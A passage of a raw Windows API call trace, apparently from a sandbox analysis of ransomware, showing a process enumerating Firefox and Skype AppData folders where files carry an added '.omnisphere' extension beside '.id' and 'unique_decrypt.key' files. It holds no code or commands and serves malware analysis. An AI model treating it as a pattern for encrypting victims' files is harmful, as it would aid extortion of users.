ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1750188, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0162.758] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0bf68 | out: lpFindFileData=0x3e0bf68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x421bd86a, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x421bd86a, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x421bd86a, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x1750188, dwReserved1=0x1600000, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0162.758] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0162.758] GetProcessHeap () returned 0x1600000 [0162.758] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1750f28 | out: hHeap=0x1600000) returned 1 [0162.758] GetProcessHeap () returned 0x1600000 [0162.759] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1750190 | out: hHeap=0x1600000) returned 1 [0162.759] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4208c59e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x4208c59e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x420b2985, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0162.759] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4208c59e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x4208c59e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x420b2985, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0162.759] FindClose (in: hFindFile=0x16396a8 | out: hFindFile=0x16396a8) returned 1 [0162.759] GetProcessHeap () returned 0x1600000 [0162.759] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174ef70 | out: hHeap=0x1600000) returned 1 [0162.759] GetProcessHeap () returned 0x1600000 [0162.759] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174e418 | out: hHeap=0x1600000) returned 1 [0162.759] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41de8bd2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41ea4c3c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41ea601c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6c0075, dwReserved1=0x5c0074, cFileName="moz-safe-about+home", cAlternateFileName="MOZ-SA~1")) returned 0 [0162.759] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0162.759] GetProcessHeap () returned 0x1600000 [0162.759] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625a28 | out: hHeap=0x1600000) returned 1 [0162.759] GetProcessHeap () returned 0x1600000 [0162.759] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c118 | out: hHeap=0x1600000) returned 1 [0162.759] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c2e4c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41de8bd2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="permanent", cAlternateFileName="PERMAN~1")) returned 0 [0162.759] FindClose (in: hFindFile=0x1639628 | out: hFindFile=0x1639628) returned 1 [0162.759] GetProcessHeap () returned 0x1600000 [0162.759] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174a678 | out: hHeap=0x1600000) returned 1 [0162.759] GetProcessHeap () returned 0x1600000 [0162.759] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174a2b8 | out: hHeap=0x1600000) returned 1 [0162.760] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f76d02, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x1f76d02, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41586383, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x724, dwReserved0=0x0, dwReserved1=0x0, cFileName="storage.sqlite.omnisphere", cAlternateFileName="STORAG~1.OMN")) returned 1 [0162.760] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41586383, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41586383, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41586383, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="storage.sqlite.omnisphere.id", cAlternateFileName="STORAG~1.ID")) returned 1 [0162.760] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x41586383, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x541, dwReserved0=0x0, dwReserved1=0x0, cFileName="times.json.omnisphere", cAlternateFileName="TIMESJ~1.OMN")) returned 1 [0162.760] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41586383, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41586383, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41586383, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="times.json.omnisphere.id", cAlternateFileName="TIMESJ~1.ID")) returned 1 [0162.760] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd0aef8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x415d1cff, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41690832, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0162.760] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dd0aef8, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3dd0aef8, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x415ab9e5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key.omnisphere", cAlternateFileName="UNIQUE~1.OMN")) returned 1 [0162.760] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x415ab9e5, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x415ab9e5, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x415ab9e5, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key.omnisphere.id", cAlternateFileName="UNIQUE~1.ID")) returned 1 [0162.760] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bd1119, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x2bd1119, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4161e2b3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x18524, dwReserved0=0x0, dwReserved1=0x0, cFileName="webappsstore.sqlite.omnisphere", cAlternateFileName="WEBAPP~1.OMN")) returned 1 [0162.760] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4161e2b3, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x4161e2b3, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4161e2b3, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="webappsstore.sqlite.omnisphere.id", cAlternateFileName="WEBAPP~1.ID")) returned 1 [0162.760] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8154a58, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb8154a58, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x4166a63d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x683, dwReserved0=0x0, dwReserved1=0x0, cFileName="xulstore.json.omnisphere", cAlternateFileName="XULSTO~1.OMN")) returned 1 [0162.760] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4166a63d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x4166a63d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4166a63d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="xulstore.json.omnisphere.id", cAlternateFileName="XULSTO~1.ID")) returned 1 [0162.760] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4166a63d, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x4166a63d, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4166a63d, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="xulstore.json.omnisphere.id", cAlternateFileName="XULSTO~1.ID")) returned 0 [0162.760] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0162.760] GetProcessHeap () returned 0x1600000 [0162.760] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e0a8 | out: hHeap=0x1600000) returned 1 [0162.760] GetProcessHeap () returned 0x1600000 [0162.760] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0162.760] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb83449e5, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xb83449e5, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="w7cr0hor.default", cAlternateFileName="W7CR0H~1.DEF")) returned 0 [0162.760] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0162.760] GetProcessHeap () returned 0x1600000 [0162.761] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1633138 | out: hHeap=0x1600000) returned 1 [0162.761] GetProcessHeap () returned 0x1600000 [0162.761] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1668a38 | out: hHeap=0x1600000) returned 1 [0162.761] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb00785a, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3db8c072, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x59e, dwReserved0=0x0, dwReserved1=0x0, cFileName="profiles.ini.omnisphere", cAlternateFileName="PROFIL~1.OMN")) returned 1 [0162.761] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db8c072, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3db8c072, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3db8c072, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="profiles.ini.omnisphere.id", cAlternateFileName="PROFIL~1.ID")) returned 1 [0162.761] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbb22fa, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3dbb22fa, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3dbb22fa, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0162.761] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dbb22fa, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3dbb22fa, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3dbb22fa, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 0 [0162.761] FindClose (in: hFindFile=0x1639b68 | out: hFindFile=0x1639b68) returned 1 [0162.761] GetProcessHeap () returned 0x1600000 [0162.761] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fd00 | out: hHeap=0x1600000) returned 1 [0162.761] GetProcessHeap () returned 0x1600000 [0162.761] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16b27e8 | out: hHeap=0x1600000) returned 1 [0162.761] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfafe15e1, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xfb00785a, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xfb00785a, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Firefox", cAlternateFileName="")) returned 0 [0162.761] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0162.761] GetProcessHeap () returned 0x1600000 [0162.761] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a570 | out: hHeap=0x1600000) returned 1 [0162.761] GetProcessHeap () returned 0x1600000 [0162.761] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1691aa8 | out: hHeap=0x1600000) returned 1 [0162.762] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x818769c0, ftCreationTime.dwHighDateTime=0x1d4d193, ftLastAccessTime.dwLowDateTime=0x685478f0, ftLastAccessTime.dwHighDateTime=0x1d4cb47, ftLastWriteTime.dwLowDateTime=0xa14cdb2, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xc6d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="mUD1TZtWU.flv.omnisphere", cAlternateFileName="MUD1TZ~1.OMN")) returned 1 [0162.762] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa14cdb2, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0xa14cdb2, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xa14cdb2, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="mUD1TZtWU.flv.omnisphere.id", cAlternateFileName="MUD1TZ~1.ID")) returned 1 [0162.762] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec17ab60, ftCreationTime.dwHighDateTime=0x1d4cf04, ftLastAccessTime.dwLowDateTime=0x906829c0, ftLastAccessTime.dwHighDateTime=0x1d4d4bd, ftLastWriteTime.dwLowDateTime=0xa1c055c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x9ebc, dwReserved0=0x0, dwReserved1=0x0, cFileName="puH1 V9zpzVTs8eyCQ.mp4.omnisphere", cAlternateFileName="PUH1V9~1.OMN")) returned 1 [0162.762] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa198fbf, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0xa198fbf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xa1c055c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="puH1 V9zpzVTs8eyCQ.mp4.omnisphere.id", cAlternateFileName="PUH1V9~1.ID")) returned 1 [0162.762] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3010f30, ftCreationTime.dwHighDateTime=0x1d4d30b, ftLastAccessTime.dwLowDateTime=0xe310bc30, ftLastAccessTime.dwHighDateTime=0x1d4d1a9, ftLastWriteTime.dwLowDateTime=0xa20b7bc, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xa6dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="R7Xo1pIDUa2Xzbh.m4a.omnisphere", cAlternateFileName="R7XO1P~1.OMN")) returned 1 [0162.762] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1e55d1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0xa1e55d1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xa20b7bc, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="R7Xo1pIDUa2Xzbh.m4a.omnisphere.id", cAlternateFileName="R7XO1P~1.ID")) returned 1 [0162.762] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89364190, ftCreationTime.dwHighDateTime=0x1d4d1e4, ftLastAccessTime.dwLowDateTime=0x949891f0, ftLastAccessTime.dwHighDateTime=0x1d4cb86, ftLastWriteTime.dwLowDateTime=0xa2318c7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x45b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="s5dkeFUgebSmSVLuL.gif.omnisphere", cAlternateFileName="S5DKEF~1.OMN")) returned 1 [0162.762] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2318c7, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0xa2318c7, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0xa2318c7, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="s5dkeFUgebSmSVLuL.gif.omnisphere.id", cAlternateFileName="S5DKEF~1.ID")) returned 1 [0162.762] FindNextFileW (in: hFindFile=0x1639728, lpFindFileData=0x3e0e748 | out: lpFindFileData=0x3e0e748*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Skype", cAlternateFileName="")) returned 1 [0162.762] GetProcessHeap () returned 0x1600000 [0162.762] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5a) returned 0x1691f20 [0162.762] PathCombineW (in: pszDest=0x1691f20, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="Skype" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype" [0162.762] GetProcessHeap () returned 0x1600000 [0162.762] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x5e) returned 0x1691f88 [0162.762] PathCombineW (in: pszDest=0x1691f88, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\*" [0162.762] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\*", lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0162.763] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="..", cAlternateFileName="")) returned 1 [0162.763] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="RootTools", cAlternateFileName="ROOTTO~1")) returned 1 [0162.763] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0e49c | out: lpFindFileData=0x3e0e49c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xe5, cFileName="RootTools", cAlternateFileName="ROOTTO~1")) returned 0 [0162.763] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0162.763] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Skype\\*", lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16396e8 [0162.763] FindNextFileW (in: hFindFile=0x16396e8, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5c77649, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0xd5c77649, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0xd5c77649, 